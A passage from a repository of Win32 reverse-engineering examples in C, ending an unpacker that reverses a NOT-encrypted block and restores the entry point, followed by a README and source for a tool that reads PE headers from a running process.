Check if we read it correctly 175 | if(decryptRoutine[0] != 0xBE) { 176 | printf("invalid decryption routine, found 0x%02X, expected 0x%02X\n", decryptRoutine[0], 0xBE); 177 | CloseHandle(hFile); 178 | return 1; 179 | } 180 | 181 | printf("Decryption routine found at: 0x%08X\n", entryPointRO); 182 | 183 | // Check what block of data it's decrypting 184 | // and convert the VA to raw offset 185 | BYTE source[4] = { 186 | decryptRoutine[1], decryptRoutine[2], 187 | decryptRoutine[3], decryptRoutine[4] 188 | }; 189 | DWORD sourceVA = LittleEndianToDWORD(source, sizeof(source)); 190 | DWORD sourceRVA = VAtoRVA(sourceVA); 191 | IMAGE_SECTION_HEADER sourceSection = FindRVASection(sections, numOfSections, sourceRVA); 192 | DWORD sourceRO = RVAtoRO(sourceSection, sourceRVA); 193 | 194 | // Check how many bytes to decrypt 195 | // and create an array of that bytes 196 | BYTE b_sizeToDecrypt[4] = { 197 | decryptRoutine[6], decryptRoutine[7], 198 | decryptRoutine[8], decryptRoutine[9] 199 | }; 200 | DWORD sizeToDecrypt = LittleEndianToDWORD(b_sizeToDecrypt, sizeof(b_sizeToDecrypt)); 201 | 202 | printf("Decrypting block at 0x%08X of size 0x%08X\n", sourceRO, sizeToDecrypt); 203 | 204 | BYTE Block[sizeToDecrypt]; 205 | 206 | // Read sizeToDecrypt bytes to Block 207 | SetFilePointer(hFile, sourceRO, FILE_BEGIN, 0); 208 | ReadFile(hFile, Block, sizeToDecrypt, &bytesRead, NULL); 209 | 210 | // Decrypt the block 211 | for(i = 0; i < sizeToDecrypt; i++) { 212 | Block[i] = (~Block[i])&0xFF; 213 | } 214 | 215 | // Check if the jump to OEP is valid 216 | if(decryptRoutine[19] != 0xE9) { 217 | printf("invalid jump to OEP, found 0x%02X, expected 0x%02X\n", decryptRoutine[19], 0xE9); 218 | CloseHandle(hFile); 219 | return 1; 220 | } 221 | 222 | // Read the offset where the packer is jumping after decrypting 223 | BYTE jumpToOEP[4] = { 224 | decryptRoutine[20], decryptRoutine[21], 225 | decryptRoutine[22], decryptRoutine[23] 226 | }; 227 | 228 | // Convert it to dword from little endian 229 | DWORD jumpOffset = LittleEndianToDWORD(jumpToOEP, sizeof(jumpToOEP)); 230 | 231 | // Calculate address of the instruction after the jump (+sizeof(decryptRoutine)) 232 | DWORD jumpRVA = ROtoRVA(entryPointSection, entryPointRO)+sizeof(decryptRoutine); 233 | DWORD jumpVA = RVAtoVA(jumpRVA); 234 | 235 | // Calculate OEP RVA and VA 236 | DWORD oepVA = jumpVA+jumpOffset; 237 | DWORD oepRVA = VAtoRVA(oepVA); 238 | 239 | printf("New OEP: 0x%08X\n", oepRVA); 240 | 241 | NTHeader.OptionalHeader.AddressOfEntryPoint = oepRVA; 242 | 243 | // Write the decrypted block 244 | SetFilePointer(hFile, sourceRO, FILE_BEGIN, 0); 245 | WriteFile(hFile, Block, sizeToDecrypt, &bytesWritten, NULL); 246 | 247 | // Fix the OEP 248 | SetFilePointer(hFile, DOSHeader.e_lfanew, FILE_BEGIN, 0); 249 | WriteFile(hFile, (IMAGE_NT_HEADERS *)&NTHeader, sizeof(NTHeader), &bytesWritten, NULL); 250 | 251 | CloseHandle(hFile); 252 | return 0; 253 | } 254 | -------------------------------------------------------------------------------- /win32/pe_info/README: -------------------------------------------------------------------------------- 1 | == win32 PE info 2 | 3 | Demonstration of PE info extraction. 4 | 5 | Important structures are IMAGE_DOS_HEADER [1], and IMAGE_NT_HEADERS [2] (file, optional, section etc.). 6 | 7 | typedef struct _IMAGE_DOS_HEADER 8 | { 9 | WORD e_magic; 10 | WORD e_cblp; 11 | WORD e_cp; 12 | WORD e_crlc; 13 | WORD e_cparhdr; 14 | WORD e_minalloc; 15 | WORD e_maxalloc; 16 | WORD e_ss; 17 | WORD e_sp; 18 | WORD e_csum; 19 | WORD e_ip; 20 | WORD e_cs; 21 | WORD e_lfarlc; 22 | WORD e_ovno; 23 | WORD e_res[4]; 24 | WORD e_oemid; 25 | WORD e_oeminfo; 26 | WORD e_res2[10]; 27 | LONG e_lfanew; 28 | } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 29 | 30 | typedef struct _IMAGE_NT_HEADERS { 31 | DWORD Signature; 32 | IMAGE_FILE_HEADER FileHeader; 33 | IMAGE_OPTIONAL_HEADER OptionalHeader; 34 | } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS; 35 | 36 | peinfo takes PID in hex format, reads DOS header and NT Header (image_base+dos_header.e_lfanew) 37 | from the process memory and outputs imagebase, PE signature, size of the image and the entry point address. 38 | 39 | $ D:\_WORK\dev>peinfo.exe e1c 40 | Image base: 0x00400000 41 | PE signature: 0x4550 42 | Size of image: 0x005a1000 43 | Entry point: 0x00002c61 44 | $ D:\_WORK\dev> 45 | 46 | [1] http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html 47 | [2] http://msdn.microsoft.com/en-us/library/windows/desktop/ms680336(v=vs.85).aspx -------------------------------------------------------------------------------- /win32/pe_info/peinfo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define FAULT() { \ 6 | printf("Error: %d\n", GetLastError()); \ 7 | CloseHandle(tlh); \ 8 | return -1; \ 9 | } 10 | 11 | int htoi(char *s) { 12 | int n = 0, t = 0; 13 | int i = 0; 14 | 15 | while(s[i] != '\0') { 16 | int c = (int)s[i]; 17 | if(c >= 'A' && c <= 'F') { 18 | t = c-'A'+10; 19 | } else if(c >= 'a' && c <= 'f') { 20 | t = c-'a'+10; 21 | } else if(c >= '0' && c <= '9') { 22 | t = c-'0'; 23 | } 24 | n = n*16 + t; 25 | i++; 26 | } 27 | 28 | return n; 29 | } 30 | 31 | int main(int argc, char **argv) 32 | { 33 | HANDLE hProcess; 34 | HMODULE hModule; 35 | HANDLE tlh; 36 | MODULEENTRY32 modEntry; 37 | DWORD pid; 38 | DWORD image_base; 39 | DWORD bytes_read; 40 | IMAGE_DOS_HEADER dos_header; 41 | IMAGE_NT_HEADERS nt_header; 42 | 43 | if(argc < 2) { 44 | printf("invalid PID\n"); 45 | return -1; 46 | } 47 | 48 | pid = (DWORD)htoi(argv[1]); 49 | tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); 50 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 51 | modEntry.dwSize = sizeof(MODULEENTRY32); 52 | Module32First(tlh, &modEntry); 53 | 54 | hModule = modEntry.hModule; 55 | image_base = (DWORD)hModule; 56 | 57 | CloseHandle(tlh); 58 | 59 | if(!ReadProcessMemory(hProcess, (LPCVOID *)image_base, &dos_header, sizeof(IMAGE_DOS_HEADER), &bytes_read)) 60 | FAULT(); 61 | 62 | if(!ReadProcessMemory(hProcess, (LPCVOID *)(image_base+dos_header.e_lfanew), &nt_header, sizeof(IMAGE_NT_HEADERS), &bytes_read)) 63 | FAULT(); 64 | 65 | printf("Image base: 0x%08x\n", nt_header.OptionalHeader.ImageBase); 66 | printf("PE signature: 0x%04x\n", nt_header.Signature); 67 | printf("Size of image: 0x%08x\n", nt_header.OptionalHeader.SizeOfImage); 68 | printf("Entry point: 0x%08x\n", nt_header.OptionalHeader.AddressOfEntryPoint); 69 | 70 | return 0; 71 | } --------------------------------------------------------------------------------